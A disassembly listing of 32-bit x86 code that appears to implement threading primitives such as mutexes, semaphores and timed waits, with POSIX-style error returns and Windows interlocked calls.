		retn
; ---------------------------------------------------------------------------


loc_433C55:				; CODE XREF: ___:00433C40j
					; ___:00433C48j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433C70	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433CB5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_433CB0
		cmp	eax, 2
		jg	short loc_433CB0
		test	eax, eax
		jz	short loc_433C9C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C9C:				; CODE XREF: sub_433C70+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433CB0:				; CODE XREF: sub_433C70+1Aj
					; sub_433C70+1Fj
		mov	eax, 16h


loc_433CB5:				; CODE XREF: sub_433C70+12j
		pop	esi
		retn
sub_433C70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433CE0	proc near		; CODE XREF: sub_4020D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	loc_433D85
		push	edi
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433D85
		cmp	esi, 0FFFFFFF1h
		jle	short loc_433D20
		cmp	esi, 0FFFFFFFEh
		jge	short loc_433D20
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_433D32
; ---------------------------------------------------------------------------


loc_433D20:				; CODE XREF: sub_433CE0+2Fj
					; sub_433CE0+34j
		cmp	esi, 0Fh
		jge	short loc_433D32
		cmp	esi, 2
		jle	short loc_433D32
		mov	[esp+8+arg_8], 2


loc_433D32:				; CODE XREF: sub_433CE0+3Ej
					; sub_433CE0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_433D7E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 2760884h
		test	eax, eax
		jnz	short loc_433D72
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D72:				; CODE XREF: sub_433CE0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_433D7E:				; CODE XREF: sub_433CE0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D85:				; CODE XREF: sub_433CE0+19j
					; sub_433CE0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_433CE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433DC0	proc near		; CODE XREF: sub_4021B2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433DF9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_433DF4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_433DF4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433DF4:				; CODE XREF: sub_433DC0+1Bj
					; sub_433DC0+23j
		mov	eax, 16h


loc_433DF9:				; CODE XREF: sub_433DC0+12j
		pop	esi
		retn
sub_433DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E10	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E23
		cmp	eax, 2
		jg	short loc_433E23
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_433E23:				; CODE XREF: sub_433E10+6j
					; sub_433E10+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E50	proc near		; CODE XREF: sub_401555j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E63
		cmp	eax, 2
		jg	short loc_433E63
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_433E63:				; CODE XREF: sub_433E50+6j
					; sub_433E50+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433E90:				; CODE XREF: ___:00401ADCj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433ED5
		call	near ptr 2760844h
		nop
		cmp	esi, eax
		jz	short loc_433ED5
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_433ED5
		nop
		call	near ptr 27E098Ch
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433ED5:				; CODE XREF: ___:00433E97j
					; ___:00433EA1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433EEE
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433EEE:				; CODE XREF: ___:00433EDBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F20:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433F65
		nop
		call	near ptr 2760844h
		cmp	esi, eax
		jz	short loc_433F65
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_433F65
		call	near ptr 27E098Ch
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433F65:				; CODE XREF: ___:00433F27j
					; ___:00433F31j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F90:				; CODE XREF: ___:00401B5Ej
		push	0
		nop
		call	near ptr 28502B8h
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433FB0	proc near		; CODE XREF: sub_401C8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_433FCF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433FCF:				; CODE XREF: sub_433FB0+Aj
		push	4
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433FE7
		mov	edi, 0Ch


loc_433FE7:				; CODE XREF: sub_433FB0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		call	near ptr 27601DAh
		nop
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_434014
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434014:				; CODE XREF: sub_433FB0+4Fj
		test	edi, edi
		jz	short loc_434026
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434026:				; CODE XREF: sub_433FB0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_433FB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434070	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_434095
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_434095
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		call	near ptr 2860000h
		nop
		test	eax, eax
		jnz	short loc_4340A7
		mov	[edi], esi


loc_434095:				; CODE XREF: sub_434070+8j
					; sub_434070+Ej
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4340A7:				; CODE XREF: sub_434070+21j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_434070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4340E0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 2790664h
		cmp	eax, 102h
		jnz	short loc_434125
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434113:				; CODE XREF: sub_4340E0+7j
					; sub_4340E0+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434125:				; CODE XREF: sub_4340E0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434150	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_43417D:				; CODE XREF: sub_434150+7j
					; sub_434150+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_434150	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4341C0	proc near		; CODE XREF: sub_4018A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_4341E3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4341E3:				; CODE XREF: sub_4341C0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_4341F2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_434251
; ---------------------------------------------------------------------------


loc_4341F2:				; CODE XREF: sub_4341C0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_434251
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_434251
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_434251
		dec	ebx


loc_434251:				; CODE XREF: sub_4341C0+30j
					; sub_4341C0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D84
sub_4341C0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4342D0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		call	near ptr 2760000h
		nop
		test	eax, eax
		jnz	short loc_4342FF


loc_4342EF:				; CODE XREF: sub_4342D0+6j
					; sub_4342D0+Cj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4342FF:				; CODE XREF: sub_4342D0+1Dj
		xor	eax, eax
		retn
sub_4342D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434320	proc near		; CODE XREF: sub_402068j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_434346
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434346
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_434346
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jnz	short loc_434356


loc_434346:				; CODE XREF: sub_434320+6j
					; sub_434320+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_434320+24j
		xor	eax, eax
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434370:				; CODE XREF: ___:0040143Dj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4343BD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4343BD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4343BD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 2790664h
		cmp	eax, 102h
		jnz	short loc_4343A1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343A1:				; CODE XREF: ___:00434398j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2760000h
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343BD:				; CODE XREF: ___:00434378j
					; ___:0043437Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4343F0:				; CODE XREF: ___:0040222Fj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434410:				; CODE XREF: ___:00402031j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434430:				; CODE XREF: ___:00401CC6j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434450	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434484
		push	esi
		push	ecx
		call	sub_402211
		add	esp, 8
		mov	esi, eax
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434484:				; CODE XREF: sub_434450+17j
		test	eax, eax
		jnz	short loc_43448D
		mov	esi, 16h


loc_43448D:				; CODE XREF: sub_434450+36j
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_434450	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4344C0	proc near		; CODE XREF: sub_402211j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4344DE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4344DE:				; CODE XREF: sub_4344C0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C3A
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_434519
		mov	[esp+14h+var_4], 1


loc_4344FB:				; CODE XREF: sub_4344C0+5Ej
					; sub_4344C0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434530
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434519:				; CODE XREF: sub_4344C0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4344FB
		cmp	ebx, 1
		jnz	short loc_4344FB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434530:				; CODE XREF: sub_4344C0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43454D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43454D:				; CODE XREF: sub_4344C0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A1E
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_434583
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_434583
		mov	dword ptr [esi], 3


loc_434583:				; CODE XREF: sub_4344C0+9Ej
					; sub_4344C0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43459F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43459F:				; CODE XREF: sub_4344C0+D2j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4344C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434600:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4346A5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4346A5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_434668
		cmp	dword ptr [esi], 3
		jnz	short loc_43464D
		lea	eax, [esi+4]
		push	eax
		call	sub_402252
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43469F


loc_434637:				; CODE XREF: ___:0043465Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43464D:				; CODE XREF: ___:00434623j
		push	1
		push	0
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_434637
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: ___:0043461Ej
		push	offset dword_510940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43468F
		push	offset dword_510940
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43468F:				; CODE XREF: ___:00434676j
		push	offset dword_510940
		mov	ebx, 10h
		call	near ptr 7C9010EDh
		nop


loc_43469F:				; CODE XREF: ___:00434635j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4346A5:				; CODE XREF: ___:0043460Bj
					; ___:00434615j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4346E0:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434741
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434741
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434701
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434746


loc_434701:				; CODE XREF: ___:004346F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_434723


loc_434713:				; CODE XREF: ___:00434721j
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_434713


loc_434723:				; CODE XREF: ___:00434711j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43472E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: ___:00434728j
		cmp	eax, 3
		jnz	short loc_434741
		add	esi, 4
		push	esi
		call	sub_402248
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434741:				; CODE XREF: ___:004346E7j
					; ___:004346EDj ...
		mov	eax, 16h


loc_434746:				; CODE XREF: ___:004346FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434770:				; CODE XREF: ___:00401AB9j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4347B1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4347B1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43478B


loc_434784:				; CODE XREF: ___:00434797j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43478B:				; CODE XREF: ___:00434782j
		push	2
		push	1
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_434784
		dec	eax
		jz	short loc_4347AD
		dec	eax
		jnz	short loc_4347B1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347AD:				; CODE XREF: ___:0043479Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: ___:00434777j
					; ___:0043477Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: ___:00401942j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434830
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434830
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434801
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434835


loc_434801:				; CODE XREF: ___:004347F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43482C
		dec	eax
		jz	short loc_434825
		dec	eax
		jnz	short loc_434830
		add	esi, 4
		push	esi
		call	sub_401785
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434825:				; CODE XREF: ___:00434812j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43482C:				; CODE XREF: ___:0043480Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434830:				; CODE XREF: ___:004347E7j
					; ___:004347EDj ...
		mov	eax, 16h


loc_434835:				; CODE XREF: ___:004347FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434860:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43488C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_434887
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434887:				; CODE XREF: ___:0043487Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43488C:				; CODE XREF: ___:00434872j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4348A0	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43492C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4348C4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348C4:				; CODE XREF: sub_4348A0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A64
		add	esp, 8
